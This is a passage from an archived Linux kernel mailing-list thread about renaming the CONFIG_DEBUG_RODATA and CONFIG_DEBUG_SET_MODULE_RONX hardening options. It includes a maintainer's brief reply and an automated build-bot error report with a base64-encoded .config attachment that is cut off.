         wzuhxC/ijqbTzSU3bRogtomROYdnru5QXyvpLu9lfvfD41W3Plpe3CzOwSi0lI7Tn/yv
         EhK9AbekqoRlHkTZijdDj9cCulgbehipDCVD8s5iDFiyIr/3w/VIzuw5FfDnL8DjoBen
         F/Rw==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=chromium.org; s=google;
        h=mime-version:sender:in-reply-to:references:from:date:message-id
         :subject:to:cc;
        bh=ZUdASi4Bmc6UOuR3hR2vRiSHxmi+hXPiWMoVqO8r3HM=;
        b=B6/z96UtxgL7Nj8KztgCx1FF838HwY/y6J/W61WV7pqwAmTCl+Aii+u5GU/bDZzqxw
         /Qqo1XzgUHpYLmXA3rjmRN6/h2L2BXwmrspVYC9hSEy9pnSgnRFm6njkuxqAoA8OtQYh
         jx4ALsGZb2tGnboBYLmfMHdOVxxzQbnApIAp4=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:sender:in-reply-to:references:from
         :date:message-id:subject:to:cc;
        bh=ZUdASi4Bmc6UOuR3hR2vRiSHxmi+hXPiWMoVqO8r3HM=;
        b=rbqoJ2Goxgt89L+fM2hY1tE+Eqmkgmb1n7fP8puNMuQZn58C4AE9xZmp3BrpXK7FK7
         VilsoMw23zDgOSkJp+0CV/xQtW2IxrkopFuYCPkbXINNdVliUldE4dAB4glmecdVK4JS
         aTKk6TEI9bTs5/9ozaVy1Dp/Qk7L34lmitmAFjlu+PDq8SxG2m0fxaSMkvayTqGGILaW
         oPg1YpRiZWMBtaTfCXgunSpXlYKWUkY7jvPlQvM/SFk2gEMYrNMbc7t0FZqn/wFNAn+8
         dyZ01oo5U5yZ449E9/6jgmmkNzNHxvmzWrwW/gHIMEdmmNdtdfYn+yJWkg6yzzj/ILH2
         QQIQ==
X-Gm-Message-State: AIkVDXJJHwjB3XnVzY29gnaL17iBv7yITESVHOrfl4dQbNfHwfnHdQXR8hX/cJIweRUTaB3zO4O+NaXBb2ygC8Mj
X-Received: by 10.36.48.208 with SMTP id q199mr879253itq.28.1484863693349;
 Thu, 19 Jan 2017 14:08:13 -0800 (PST)
Original-Received: by 10.107.143.138 with HTTP; Thu, 19 Jan 2017 14:08:12 -0800 (PST)
In-Reply-To: <1484789346-21012-1-git-send-email-labbott@redhat.com>
X-Google-Sender-Auth: jRLvU20x_GETlBrZSAgGI3YyZHw
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27221 gmane.linux.documentation:44423 gmane.linux.kernel:2392411 gmane.linux.ports.arm.kernel:552448 gmane.linux.power-management.general:85586 gmane.linux.kernel.hardened.devel:5256
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27221>

On Wed, Jan 18, 2017 at 5:29 PM, Laura Abbott <labbott@redhat.com> wrote:
> Hi,
>
> It's come up previously that CONFIG_DEBUG_SET_MODULE_RONX and
> CONFIG_DEBUG_RODATA are not accurate names, mostly they should not have the
> word 'debug' in them. This series attempts to change the names to something
> a bit more descriptive and indicative of what they are actually used for these
> days.
>
> I marked this RFC for
> - Bike shedding purposes.
> - A discussion of what defaults should be. The way I did the refactoring, both
>   options are default y. I'd appreciate comments if there is a better approach.
> - Approach to split this up into more sub patches to make review/merging easier?
>   Or maybe it's fine.
>
> Quickly tested on arm/arm64/x86.
>
> Thanks,
> Laura
>
> Laura Abbott (2):
>   security: Change name of CONFIG_DEBUG_RODATA
>   security: Change name of CONFIG_DEBUG_SET_MODULE_RONX

Some day I'll quit reading my email backwards. :) I see you've got
MODULE_RONX renamed too here, please ignore my comment about needing
it "too". :)

-Kees

-- 
Kees Cook
Nexus Security
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: kbuild test robot <lkp@intel.com>
Newsgroups: gmane.linux.documentation,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.kernel.hardened.devel
Subject: Re: [PATCH 2/2] security: Change name of CONFIG_DEBUG_SET_MODULE_RONX
Date: Fri, 20 Jan 2017 13:46:56 +0800
Lines: 591
Approved: news@gmane.org
Message-ID: <201701201304.jGPDDSxI%fengguang.wu@intel.com>
References: <1484789346-21012-3-git-send-email-labbott@redhat.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="2oS5YaxWCcQjTEyO"
X-Trace: blaine.gmane.org 1484891268 4789 195.159.176.226 (20 Jan 2017 05:47:48 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 20 Jan 2017 05:47:48 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: kbuild-all@01.org, Kees Cook <keescook@chromium.org>,
        Laura Abbott <labbott@redhat.com>,
        Jason Wessel <jason.wessel@windriver.com>,
        Jonathan Corbet <corbet@lwn.net>,
        Russell King <linux@armlinux.org.uk>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Thomas Gleixner <tglx@linutronix.de>,
        Ingo Molnar <mingo@redhat.com>,
        "H. Peter Anvin" <hpa@zytor.com>, x86@kernel.org,
        Rob Herring <robh@kernel.org>,
        "Rafael J. Wysocki" <rjw@rjwysocki.net>,
        Len Brown <len.brown@intel.com>, Pavel Machek <pavel@ucw.cz>,
        Mark Rutland <mark.rutland@arm.com>,
        Jessica Yu <
To: Laura Abbott <labbott@redhat.com>
Original-X-From: linux-doc-owner@vger.kernel.org Fri Jan 20 06:47:40 2017
Return-path: <linux-doc-owner@vger.kernel.org>
Envelope-to: lnx-linux-doc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-doc-owner@vger.kernel.org>)
	id 1cUS2x-0002x7-Nw
	for lnx-linux-doc@m.gmane.org; Fri, 20 Jan 2017 06:47:36 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751192AbdATFrj (ORCPT <rfc822;lnx-linux-doc@m.gmane.org>);
        Fri, 20 Jan 2017 00:47:39 -0500
Original-Received: from mga07.intel.com ([134.134.136.100]:60370 "EHLO mga07.intel.com"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1750735AbdATFri (ORCPT <rfc822;linux-doc@vger.kernel.org>);
        Fri, 20 Jan 2017 00:47:38 -0500
Original-Received: from fmsmga001.fm.intel.com ([10.253.24.23])
  by orsmga105.jf.intel.com with ESMTP; 19 Jan 2017 21:47:36 -0800
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.33,257,1477983600"; 
   d="gz'50?scan'50,208,50";a="1096553645"
Original-Received: from bee.sh.intel.com (HELO bee) ([10.239.97.14])
  by fmsmga001.fm.intel.com with ESMTP; 19 Jan 2017 21:47:30 -0800
Original-Received: from kbuild by bee with local (Exim 4.84_2)
        (envelope-from <fengguang.wu@intel.com>)
        id 1cUS4y-000ErF-Vb; Fri, 20 Jan 2017 13:49:41 +0800
Content-Disposition: inline
In-Reply-To: <1484789346-21012-3-git-send-email-labbott@redhat.com>
X-SA-Exim-Connect-IP: <locally generated>
X-SA-Exim-Mail-From: fengguang.wu@intel.com
X-SA-Exim-Scanned: No (on bee); SAEximRunCond expanded to false
Original-Sender: linux-doc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-doc.vger.kernel.org>
X-Mailing-List: linux-doc@vger.kernel.org
Xref: news.gmane.org gmane.linux.documentation:44427 gmane.linux.kernel:2392587 gmane.linux.ports.arm.kernel:552520 gmane.linux.ports.parisc:27222 gmane.linux.power-management.general:85600 gmane.linux.kernel.hardened.devel:5258
Archived-At: <http://permalink.gmane.org/gmane.linux.documentation/44427>


--2oS5YaxWCcQjTEyO
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Hi Laura,

[auto build test ERROR on linus/master]
[also build test ERROR on v4.10-rc4]
[cannot apply to next-20170119]
[if your patch is applied to the wrong git tree, please drop us a note to help improve the system]

url:    https://github.com/0day-ci/linux/commits/Laura-Abbott/Better-hardening-names/20170119-200343
config: i386-randconfig-c0-01201130 (attached as .config)
compiler: gcc-4.9 (Debian 4.9.4-2) 4.9.4
reproduce:
        # save the attached .config to linux build tree
        make ARCH=i386 

All errors (new ones prefixed by >>):

   arch/x86/built-in.o: In function `ftrace_arch_code_modify_prepare':
>> (.text+0x3fcb7): undefined reference to `set_all_modules_text_rw'
   arch/x86/built-in.o: In function `ftrace_arch_code_modify_post_process':
>> (.text+0x3fcc3): undefined reference to `set_all_modules_text_ro'

---
0-DAY kernel test infrastructure                Open Source Technology Center
https://lists.01.org/pipermail/kbuild-all                   Intel Corporation

--2oS5YaxWCcQjTEyO
Content-Type: application/gzip
Content-Disposition: attachment; filename=".config.gz"
Content-Transfer-Encoding: base64

H4sICI2fgVgAAy5jb25maWcAjDzLcty2svt8xZRzF+csYkuyLCt1SwsMCc4gQxAwAM5DG5Ys
jR1VZMlHGiXx+frbDfABgODkemGb3Y1Xo9EvNObnn36ekdfD07ebw/3tzcPDj9nX/eP++eaw
v5t9uX/Y/+8sF7NKmBnNmXkLxOX94+vf7+7fX17Mzt+enrw9+eX59ny22j8/7h9m2dPjl/uv
r9D8/unxp5+BPBNVwRbNxfmcmdn9y+zx6TB72R9+auHby4vm/dnVD+97+GCVNqrODBNVk9NM
5FQNSFEbWZumEIoTc/Vm//Dl/dkvOK03HQVR2RLaFe7z6s3N8+3v7/6+vHh3a2f5YhfR3O2/
uO++XSmyVU5lo2sphTLDkNqQbGUUyegYx3k9fNiROSeyUVXewMp1w1l1dXkMT7ZXpxdpgkxw
Scw/9hOQBd1VlOaNXjQ5J01Jq4VZDnNd0IoqljVME8SPEfN6MQYuN5QtliZeMtk1S7Kmjcya
Is8GrNpoyptttlyQPG9IuRCKmSUf95uRks0VMRQ2riS7qP8l0U0m60YBbpvCkWxJm5JVsEHs
mg4UdlKamlo2kirbB1HUW6zlUIeifA5fBVPaNNmyrlYTdJIsaJrMzYjNqaqIFV8ptGbzkkYk
utaSwtZNoDekMs2yhlEkhw1cwpxTFJZ5pLSUppyPxrCiqhshDePAlhwOFvCIVYspypzCptvl
kRJOQ3A84bg2mssRrCTXu2ahp7qspRJz6qELtm0oUeUOvhtOPVmQC0OAFyCpa1rqq7MO3h9l
2GENR/7dw/3nd9+e7l4f9i/v/qeuCKcoGZRo+u5tdKaZ+tRshPK2aF6zMgeG0IZu3Xg6ONBm
CQKCrCoE/NUYorGx1WkLqyEfUI+9fgdIr66YaWi1hpXjFDkzV+/7yWcKttgeUQbb/ObNoBpb
WGOoTmlI4D8p11RpECNslwA3pDYiEvYViB4tm8U1k2nMHDBnaVR57esBH7O9nmoxMX55fQ6I
fq3erPylxng7t2MEOMMEr/xZjpuI4z2eJzoEkSN1CWdQaIPydfXmX49Pj/t/99ugN0T6g+md
XjOZJUeCQw4yzz/VtKaJsZyEwEkQatcQA7bG09LFklS51Q99d7WmoCuTI5E6T1pbuzP2XFoK
mCwIUdmJNZyR2cvr55cfL4f9t0GsewMBR8ge4oTtAJReis0Yg9oNFA1SpJtlS19AEZILTsDI
JWCgUUHPwfR3Ph88vNVbiXUjCTgKGag+d6wD3aclUZqGU8zQCdCihjagY022zEWsLX2SnBiS
brwGg5ajPSsJmoldVib4Z9XQetiO2Chif6AMK6OPIpu5EiTPYKDjZOBDNCT/rU7ScYHKGqfc
yYW5/7Z/fkmJxvIabSETOcv8HakEYhjIa1I6LTqJWYJPASpcW4Yo7dM4Z1LW78zNyx+zA0xp
dvN4N3s53BxeZje3t0+vj4f7x6/D3AzLVs7QZ5moK+O2PJAay/YBnZzSXOco9RmFswmkJkmE
xgGcQzOescrqmR4zzigKtirzXEb4AEME3PT9TUcRDoOUCRHH9jCFskR7wkUV9lyQCvxlzxwN
QDCzpEBfcRimnVxjXd2JsVatfZSw/VcnQ2PEVSKbI+uTvOoWCvqHNnMhUnrK2mZwZKszz/dg
q9aRH0HsBg3gUmAPBWgkVpir048+HAUCfGMf3/Ok4ixu+z7QnDXEI85TADczd0cq5Y/NUWEA
QV2haw4eWVOUtfa0ebZQopba31vQ+9mEBJartkES7VBuSscIJMv1MXwBu35NVZpEgrExR5vn
dM2y9HlvKaCTyQPUzZGq4vggkX4f7K7IVj0VKON0L0uaraRgsEWgZIxQKeFGMw8WIaPB9tSg
Nqs0A4A1KsJ1YslyQPjBg3Hfw7StnKD7Nr3BYBYKdMmlohlo5Tx1IMNYCSUG9sM6pCr342n4
Jhx6c8bJcydVHrmKAIg8RICEjiEAfH/Q4kX0fZ4aHT1e2ADn0b79+l/fGc76MAUttpUIjPCr
pCKKqcOgD+2p8cwpqLsKZiFyPwxxB5vlpxdxQ9BSGZU2erOKMGojMy1XMMGSGJyhx31Z+Fvs
lHpi8tGgHPxMhrLkzQPCOQ46vxl5Bk4mBrAvLDj1FpOSSeuEOvs69LcCYr3jgWx2sCbqKEEw
16KsQZ3DSiO1H5POITiz4mrY2uMoWJHKrOJv1Mh+wOapfloWIEZ+ODy9HzhkUfvsK2CyXv6A
ShEwly0qUhbewbHs8gHWkbKAQU3L4gjb9TIIcQnzDgrJ1wym2Db2dgWlwcYf/tAyY82nmqmV
Rwh9z4lSzArPIHmYxsiTCsNJMPTe9G6ldVfaNJ7cP395ev5283i7n9E/94/gYhFwtjJ0ssAV
HPyYsIt+5DZ/gEhYQ7PmNo2QmMeau9aN9cGcSAaBMeaz1CrF0JLMA8Ev6/kEmTVtmDJoFARR
gkfnxVBuTUYD0TQrWGYTNqmTo0TByiBysHrBGhT/LNEtzSLhFK5xEL91sJYD9vzLkm6ntsvr
I+4BPRcro37/v9VcQtQxp+nT2yZk0n44jmdTtnD44TSgjcrQBZ6aGy2AcQyXUVdhi8g/QnFA
7w78bXCtXfDsd8SAbeg0weRMhFrFGSQHVdQkEWAY0g0ctAG1XqT0eqBzhoDZki6FWEVITKnC
t2GLWtSJ8EzDJmAk1AaeCXcRbPsOnA4MA62utynvaBRFF6Bmq9yloFvWNkTGU83K1PyAzh3J
CLfcwOGixLlEEY6zLezhgNZ2DrHdRNcHNqBWFTj9Bk6Pb75iJZNgrcUmOu5Uh2oXnNc8lhTL
v0HG49xru5WNJgWwhUvMPcfMclCXSpvA5aKeSMsymTUucdAl5xLz0zRDLdbAKTWBZZ+A25YL
cGtkWS9Y6Ct64KljCBSWX3h6aAYObqBOY2TaoQppYFsrerQX3L66JBOBw4gaxFtUqRzNwLQN
M0tQD27nC4X+eKwlxsH7xJmtMLlD2yw6JrQ9oynyugRFgCoJ3QmVECLtMNZsjC8Uxtc4EQHd
ggZNHvyw1WW4i0LuuvSzKQMZGIaFuS1TmS5NQL9GqgEC1QrULrBzQ1TuTVJAlA3eTnsL8X6E
IPbuLdh+ieG9p++L4ogJsTNd41LtZo6yI4tMrH/5fPOyv5v94TyP789PX+4fXCLHk3yxbvO0
iSX3W2XJOpMYuMvuWLUa2WnsJUWx8E4kaBHM9XvxC9pk8BN96bO+pEZ3xs95tJKUmFsnYzal
UoL1qD01Nm/zB30/5TwnRaKXLp6b64XfugeWbD6Gg86mC8VMIi68BnEIfVdMMfDcXpxZnZbS
DUi0mZuwOwA0+lPcF0L5p9F2y5vnwz3eDM/Mj+/7F3+LYVTDbKwF3jBGeymvletc6IHUc8cL
lgLjVPgn9Jg7/5aJmb79fY9XRr4by4QLxCshgmx+B8/hKCJzUgeuJckKL3vcXRs4oOcWOzAO
c+Syoe3y6s3tl//0AbokYY7ZXuGBLErQlHWFkhQmsFu8VSIOfwyXbLtRmKKbaOwjw9bhvR8x
Al0bxb3LAXus3NRhw8Wm8k2guyqeQNrRJnC9f2kvWHJLZhPxA8k0Jm6sNummI3ibNusETD4/
3e5fXp6eZwcQcZui/rK/Obw+7z1xw/MX3rWPLlQLSsCroi4bFaHwIqHD46VhYCGQgkt7iJN6
GfFzUPk8nWxagOYvWNq0gEIpG5VDTBAPSLcG7AfejLfR90Slh+uilDpaEuFD0zaT6Amc0EXD
52wM6Z3aYDLvz0AeWdoqubMKEmmcY9FY3zap7pY7cEIhMAefZVFT/6oEmEvWzCbqff1lYUdS
lD1JL36pRAlExN1wQ6JlzduQuki1KW2DqVlOO0o9RZTIBvuOeXmXsBiM3PnlRXJd/MMRhNHp
u1DEcb5N4y6mOgQvxbCaM/YP6ON4fhR7nsauJqa0+jgBv0zDM1VrkT6a3HpVNEw+DNgNq/Cy
NJuYSIt+n74E4LQkE/0uqMjpYnt6BNuUEzuV7RTbTvJ7zUj2vklf5Fvkx4Q0c8ycnAWShzZk
Upm1bt0RjaMw5dvWBrl7nQufpDydxjmFhYEoOuWh0kJrIcHddNcKuuYhGiQ/BLQh5cV5DBbr
EMJZxXjNra9dEM7K3dUHH29VQWZKrj3rh8RgdN2Mx2DQsGNgBhJP6kQnNnDi1JCgNm8pqenT
TJ3P4of0lS2LwnAmUriap699HJanNk+CXeXSjOLPDr4WJegzonZpXeuojvRr1WHId5sHwMgp
2jgmEkBFlcCUN147zJVY0coqTXSFxvY4vLxwjoKXYv329Hh/eHqOoh4/c9LKYZVFd1ZHiBWR
yfz/iDDDm2s/ke5RWMMsNmFi0fKKQnC4g9huQlXHCK/p6QXEvCEzqZYF2/qyZgScxrnv716u
4jkoihyHhrVMW3twPJXAstFJ5QFHaBIHoszSyrQSWKgA9jHlNjjMeeCWtMCL81Tiw1YRCoij
qbk6+Ts7cX+i/iJPtQBnCaANrUiiqNB6f9NoWtLMdIVGEKH6+oKVuLNl5xdh+UpNr/rZHG3b
TYqTqibhrVQ/I4dLcKFtHPbWWM3t2nkO8tAdiq5/Ml3qkvJ56NEE4LZTv0NXKcx0RlTuNw+z
Ga1T5EoCq0is+qmV4FtKYweyyvC8V654nZGFESpnC0XiHItc7uDk5blqzGTd9BzUl+8kO09P
YO7H653Xflp28Cd1SnK78NOmplyJUK6uzk9+DUpDxhm1dOKvpBDFo1lNogslQL1syERJA0/f
319LIVKycz2vg3TGtZ68cOqSQLbytLttmIpdgSNUKbRfNifvTipeYwc5AkzuWwxeEaxYMrnp
go11l5P1zrb0Va9VO+hNQIgm8J5cqVrG4mEjOBBFdN95dxQHUtfBhO5VFFyZNaaiNlcXvWSC
g7VsKK9LEkmnUYHc4HejCTCAXSdjJhxCkrgqHBwl3cgFmi9iExshur+U8zrRPCyrHHwxcKIS
A9OC+eSYD9ImfSHoMu/B4b5uTk9O0lnM6+bsw0lKzV83709Oxr2kaa+ANvZ6lgor1FIhIN4f
BjlXRfTSXoGkrAcoC4Z+C6hChQbktLUfQ8EVRcfGFi4da2+v7aD9WWh+QM7K2nqGXl6tlz4P
feKnvzBWjXDxte461+mC3C4ROU8fdjA6rNg1ZW7GZRFWnpzR6w5GO4s+P/P01/55Bm7Xzdf9
t/3jwWZoSCbZ7Ok7Zia9LE2bFffMTlusP6R8PAPfl/qneAyGqqTU0zMdJEz8ABRLgTrawSDw
ZkNWdCpnIHlEPFUGCyghw/GCC0P47pPktqDWsyWbT84R9FL/rcE41j6x7phCFN7+Zf61BX51
jqYVXz1Kobu7FHyJ0l44YBPpvzyxkPaW3y3Aurt6/ILHUlrWLYK0og9uwgId13m8XW4S4HkW
2g2ZFHNLpei6EWswMiyn/SOQaXKauZkk00CWgsRLnxMDftwuhtbG+JreAtcwCRHBClKNlpaL
pN6yOBuzKgrCElz9dxyhGvNpccQRoVleTiIjOJM8FpikxopGIIuFArkyo/7MkiruXwa7RdXa
CDhWGnROET/fiCmO3VC5Max6qiV4fnm8zmO4UbLTLSpDCUxW0VprzOOI3c0X3C84fSN4xzwm
2og3HEzPJwUvtOseTzg1S5GPupovVDon0J6LvMZq/SU45BtwNxtRlbuUae0PPZF0VLfRwdvC
g3AIRCQnkEtTjM+t39R7EOCpXYbFiCBWbCKB1zEe/j9xZ6oLNrGNBPYRra7HYsmDjwasN3iz
bdFEbLqQIBdDPDhMSro8U1ys77djENSQXTMvSfDEDa0VeNmbhnkFZFj+Vzzv//O6f7z9MXu5
vXkIivI79RCmnKzCWIg1vnpR+ExvAh1XtvdI1CcTYDg2IOnhLXpP0IU82PlEpek/NEIx0SBs
qVqKVAPcHltd/I/zEVUOsUk1UdOdagE49O5taeX/v5X1RmvDUr5WwH2PQRP703NjAu8vPoXv
ljy5/cP6kuybXE4vml9i0ZzdPd//GdwFA5njUShRLcxeU+U0yti60ERGZs3q3yzrWoeIzlq2
mCDS8XHwbyqMsX0juys4gKuLaNAe8XESEflaIfYymivP2wNFKw3B3zqoKrBJ+K3VOTxU9DaS
k5Tm4H25bLNilZhYzUDI7MO3iV40n9KR8txdZLlJeIiOk5V9AhY+NgePslqouhoDl3BCoizl
IOD9fe/L7zfP+7tx8BBOOijQCFH2KTPWDxDpIndfk7K7h32oPEPfqINYyS9JHjyQD5CcVsFT
IuuS4GNmPdBlopblxCMSJ+GxlbATnb++dOuf/Qvckdn+cPv2316NcBYYX3RYFgLzG+lEtkVz
7j6PkORM0YnXJI5AlDJ5sWCRpPIkGEE4oRDiBghh3bxCKI4UtY3DJwBSDDeC/BwCSRhIIgjc
fDXxgtQ1gN34LVq7T6CjgLCFHbuaHkisYTjSc6Dkxx0cf69hVyf5qCn4XNMLbqRJ3/7ZDdFp
J85uwrH1YvUL5gi7dAEG3hPSgpkkz7U0YbkLUhATyQ6zd3rBeFKlFJfFEM2iAv+upHVIMLSO
OZ6v0VUSwH5/ejnMbp8eD89PDw/757FZa3/eISwMBGCQNoPviXs6TAslpt9Kfk+I381WnMIm
Jzvq8B+gyxQ7SMm8dxkVNR8+nJwOgAX1DymapWruMw7z9/43zxiJv0G5E1C3zOsIm7mD2fLz
l9ub57vZ5+f7u69+3c4O70uHZvazEWcxRLFMLGOgYTGEVrQxdUVHlPHVl8wvPp796rOZXZ6d
/Jq+VwfU+4sPCdaajGUjXkTvuR0H8c41vlhRIDe5fbQy5BUdqDGafTw7TYzYEeDFio1C7RPU
kxjdHkC1bcy2sYn30bBWcmm1YD63elxY2T50W3Os10ysAgwtJ9UYzHH0JnPunXu+e/P9/g6L
Bv+6P9z+Pj5VHg8+fNwmBpK62SbgSH9xmeImtljQ6uwIP9XWknjlutal2Oli3s2b/r2/fT3c
fH7Y2x/xmdmr5sPL7N2Mfnt9uImcFSx85QZLnYcu4aN9wuIlbiG+xDR0Hz9gcfSSkjx6qx12
qzPFZPy8gKAs/Igok0DO/EIKnEP4GKBNJweFCnYEV3jIRHDBI3lmMYGS6bhW7Q9/PT3/gWHB
4NB59VvZiiYf8lVWafWE+A1CT9K2Bx+Brmi6bAHkO+3RABx/vQRvLzgJ30MFHUsDXmRJtGZF
eoSuI7nc2SMJ55zLqbfvQOweKKTzGRNmea5YPnEruC5J1VyenJ1+SqJzmk0xoCyzCX0n06VJ
xJAyzaft2Yf0EESmf01DLsXUtBilFNfzIV01hlsy/TA7z9Lj5RU+ttECf94lzWFgPbGV0mku
42PoqefaMKWSVatp+eSynKjo16mEmJK+ui7sjyT4RQHb8Jl7+0TbyqpiExdAA42T5VQtOGIV
vuPXuyZ8vjn/VAanuykwSeV+jyc86LPD/uUQVd0sCVckn5rZRA0dU3nacZpP1D0Z8D75dKn9
huHvGOmQc8UCJS1dpgcB5gjpVtW1etzv715mh6fZ5/1s/4iW4Q6twoyTzBIM1qCDYPrMPjOx
P5hgn1Z7t4obBtDkXFSxYhMvhh2qfTEUvUAKDs2vE4UBhKV/H6Aq0vFDuQEPq5p4AZnjD7JM
lijgNMATwMOSuoUkO1sA2FJ0gpXv/7y/3c/y3k8Yfi/q/rYFz0ScLKjdC9AlLaUfwAdgvFdf
eg/2YWDDZRE9u/0/xq6suXFbWf8VPSZVZ264iBL1kAdwkcSY2xCURM+LyvE4J654bJftOZn8
+4sGQBJLQ8rDjO3+mtiXRqO7IWjnCozbHCOP1BkBfyB8qetEntuiq7jenUfiwAwaTlyOVos7
fVPU0llHkSaGviMTh1KNKR2huJ6aYLYUwRjOW3Z2Swh+DcV10uDmosgKShPB1XTWFa61VTLk
x87hGysYwO5eJsOGc9U4NK5MKFMMyVGWKfBOe5Cm75gspXLBUdUQ3NmM0sQc8fe5UOOnSFpV
qb7nI6N6ogVhm8eayyAUylbvDwC3OTve29FhJm3QVz4LNOGJ/agtp0PFsAQbY1mvlF69Jm62
IGP1vWbvzohgMgaeVhpRWPqgEGvEyiJKZ1yNBpZQmi/zTJPqrZmuNSVkYuBcPWDwyN1eO0lv
+cVwSbBrL/PaW7iiyutsRWDlJEzrUOv2BbUMrXJmAiElu9yOY9S+vXy83L886RoFkc6cilSi
qQlzQya4ecV9FxiHroiWPmoW4Vwf2M6RlJpZ3ohtcQFrhEGLRGnGhlnRhsGAGRBxD7j2M+gF
6DlTY3kBgaYU7mbb3C5WRtLNyrPpB8N9YqSnbHES91gXi1waLmJid+mSbPH18V3s3r8/3N99
f39YjI3LNnN+fhCfPD3cfzx8Vafg1JDJ5daiQ+xoIEA7UtmVBVMgYVA9xxxVMS486JaEacYm
37m96dPsiJcHQjLAFDjnPeaOBBaP7DDsGBF7bEGZikTVM3l9rHIjXMPUVMfKQeVDwkhjS9jR
J6UmVQ+NBqSedDv9QMH7qXp8v1fWznELyWu2dVCIeRmWRy/Qr9KzKIjYYbNFDQDY5lfdGq59
SXUmVNcP70ntcrCgO9Blpvjppi+21dlpkc5aYhMGdOnhEivbQsqGggsb3Ok5dr2URlEYnavt
TlUgqNTZaZLVcq0ML8HDL4RkgA3qUKrv2fZX4vI+aTO6YcIwcRyJCloGG88LL4ABpjYd+7Rn
LFGkWceNULL312vcKHFk4aXbeGjAkCpdhZGiEsmov4qVv1u2gbT7gxZC5UCTMz0VPdiXU7JZ
xo7s2YzGpfPA3G6ELiqHfXbx/v319eXtYx7Ygs6meaB4xEiisPrSdNMCYIeOVbzG9JuSYROm
g3IdmiZr3ztbmixOdZnJKSibK5RJkGDXN6mH+4cfd++L4vn94+37Nx4bR14CfrzdPb9DHRdP
j88PsFDfP77Cr+oq3MN9woUhAdNcym38M/L08fB2t9i2O7L44/Ht298sq8XXl7+fn17uvi5E
9Fs1fQL6GgJyPur+IY1oc+1KbiKyf5e+OfeD1oxHIe8fK+RSonj+eHhaMEGKS4Ti5DOeh2jK
jnE2+ci2PJs6J7SHOw4XmILGHsnGyf/yOrnq0o+7j4dFNRuF/pQ2tPrZPMZB+abkxlGX7jWl
eDqUPEgAPkEYSLaH8dzQtM5AHkWmNXSR2YI2bEByt7DnFhdYtIvwjhQZt69R9id9D+PfCK9k
5eKH0aTKyHEzBBlNFiXYwAYOKaOMg5qXXRZaOEr/xGbLX/9ZfNy9PvxnkWaf2FRWrpAn0UQ1
Ddl3gtbbtIbS3t63VXe5mXZmm0NmREoZk0ZXhxFUw/PySqb82kSLBcXpZbPbGdFHOZ2moMSj
t3WKd24/rifvRsdSMF+TXaknuU0F4O6rgv9vMWnJg6WiPVI4vSwS9sOuCv8EC8k8wRBCWTd3
FlDXOurCjvE8Ari7LiOHvM1y5Z6ZHZXtz12mWsqOVCYK0JNVkAycIzBTghEl5YEYiTU0454i
BTGi8EzoAdWrTHDGQ+DxbSH/1bdh/dJLhIbQRGdxiVdnpMPykfHOkgaC33SdZgjLIHkmm0sN
xC9tk+GiOofbyj6xpNON9Pvi78ePPxn6/Ilut4vnuw+2kC4eIZ7cH3f3ipULT4vs1VPzREKi
+3Fymh+JQfrcdMVnqwqsS1J/FeCKS5ENvwGFJLDeAQ5alKrEwknb7bS0scrdm7W+//7+8fJt
kYFfk13jNmOzVg8HAYl+ppp9ssh7WJr9nFSZ7i4lzutF8+nl+ekfszz6hRb7PK2y1dIz7Qp0
HnHSd+NVWxSYFMrBmsbrpa+ckDkVwnbqugoYQdY01vHPGWpCAVD3BfxejExORZ00dXY+ltPF
6KiK/ePu6en3u/u/Fr8snh7+e3f/j323y5OwBdEKnwLiTGcdhyS6PegRwsTfsJDbNEItGlfA
79g6EMQGIgKcztpSQZU7ji2U5Xm+8MPNcvHT9vHt4cT+/WwLD9uiy+EGQlPtcsq52evGXBNA
kxa7sp7wuqGKwVVFUra4NeDVxEUhqkHgilY1B5onveZ8wOQQt4KUHayNc7ZTvgdsl9fiC4XW
de0kdhfPr98/nOJVUbcH3QkQCGywZFjRBLjdgktSqakRBQLXV5rKS5CFl+uNptcVSEX6rhgk
wot7eH94ewJXpml5eTdKe+YtimQz0s8tJYfBidK0y/P6PPzqe8HyMs/tr+tVbLbNb80tY3Hc
egNDfjRwA01mJy7ROdZdi/bBTX6bNMIcaMpopLHVFlcFKAxtFAX4+VdnivE4HwbTBqnYzNLf
JHg5P/e+51ACKDyBv7rCU97cOJR+E8uuddx5ahx8rDqusyfGPiWrpY/HBVCZ4qV/pfHEQL9S
tyoOA1wDo/GEV3jYGrsOo80VphQXrWeGtvMDXOM18dT5qXeofyeeps15sIcr2VFS0YPDemNm
6psTORHcIGTmOtRXBwnY0uC6wLlfT+XSC6+Mx6G/mhW8hsJO11eYSOv7w5UBkqSYt7uydCmb
